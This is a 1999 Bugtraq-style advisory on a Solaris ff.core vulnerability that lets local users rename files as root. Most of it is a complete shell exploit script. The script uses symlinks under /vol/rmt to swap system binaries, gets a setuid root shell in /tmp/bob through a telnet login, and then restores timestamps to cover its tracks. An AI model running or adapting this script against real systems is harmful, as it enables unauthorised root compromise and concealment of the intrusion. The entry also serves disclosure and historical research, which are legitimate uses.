BID:327

Solaris ff.core Vulnerability

Info

Solaris ff.core Vulnerability

Bugtraq ID:	327
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Jan 07 1999 12:00AM
Updated:	Jan 07 1999 12:00AM
Credit:	This bug was posted to the Bugtraq mailing list by John McDonald <[email protected]> Thu, 7 Jan 1999.
Vulnerable:	Sun Solaris 2.5.1 _x86 Sun Solaris 2.5.1 Sun Solaris 7.0_x86 Sun Solaris 7.0 Sun Solaris 2.6_x86 Sun Solaris 2.6 Sun Solaris 2.5_x86 Sun Solaris 2.5

Not Vulnerable:

Discussion

Solaris ff.core Vulnerability

There is a vulnerability in Solaris's ff.core utility which allows normal users to execute the rename command as root. This particular bug when levereged against a series of other configuration issues in a standard Solaris setup can lead to a root compromise. An example of tthis attack excecuted via the ff.core rename attack coul.d be as follows:

1. rename /usr/bin/sh /usr/bin/admintool
2. rename /usr/sbin/swmtool /usr/sbin/in.rlogind
3. telnet localhost login and clean up

Detailed messages concerning this problem and related fixes are attached to this Vulnerability in the Referance section.

Exploit / POC

Solaris ff.core Vulnerability

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following exploit was provided:

#!/bin/sh

# /usr/openwin/bin/ff.core exploit - horizon
# tested on 2.5.1, 2.6 and Solaris 7 (2.7)
# thanks to joej, adm, and joej :>

# if you want to exploit 2.5, you can just make this move /etc/group over
# /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak

# first test if we can pull this off

echo "Testing if exploit is possible..."

if [ -x /usr/openwin/bin/ff.core ]
then
:
else
echo "ff.core isn't there or executable. :/"
exit 1
fi

if [ -w /vol/rmt ]
then
:
else
echo "We can't do the symlink. :<"
exit 1
fi

mkdir /tmp/.test42
touch /tmp/.test42/bob

rm -f /vol/rmt/diskette0
ln -fs /tmp/.test42 /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null

if [ -f /tmp/.test42/jim ]
then
echo "Test successful. Proceeding..."
else
echo "Hmmm.. doesn't look like this is going to work :/"
exit 1
fi

rm -rf /tmp/.test42

# lets make some backups

echo "Backing up clobbered files to /tmp/.bk"

mkdir /tmp/.bk
#save admintools times
touch /tmp/.bk/admintool
touch -r /usr/bin/admintool /tmp/.bk/admintool
#save rloginds times
touch /tmp/.bk/in.rlogind
touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
#save a copy of /usr/bin/sh
cp /usr/bin/sh /tmp/.bk
touch -r /usr/bin/sh /tmp/.bk/sh

echo "Doing sploit..."

rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null

rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null

rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null

rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null

echo "Done with sploit. Testing and trying to clean up now..."

sleep 1

(sleep 2;echo " cp /bin/rksh /tmp/bob; chmod 4755 /tmp/bob; exit; ") | telnet localhost login

sleep 1

if [ -f /tmp/bob ]
then
echo "w00p! Should have a suid root sh in /tmp/bob"
echo "btw, its rksh because solaris is silly"
echo "Let me try to clean up my mess..."
else
echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
exit 1
fi

echo "
cp /tmp/.bk/sh /usr/bin/sh
chmod 555 /usr/bin/sh
chown bin /usr/bin/sh
chgrp root /usr/bin/sh
touch -r /tmp/.bk/sh /usr/bin/sh
mv /usr/bin/admintool.bak /usr/bin/admintool
touch -r /tmp/.bk/admintool /usr/bin/admintool
rm -f /usr/sbin/swmtool
ln -s /usr/bin/admintool /usr/sbin/swmtool
touch -r /usr/bin/admintool /usr/sbin/swmtool
rm -f /usr/sbin/in.rlogind
mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
rm -rf /tmp/.bk
" | /tmp/bob

echo "everything should be cool.. i think :>"
/tmp/bob

Solution / Fix

Solaris ff.core Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Sun Solaris 7.0_x86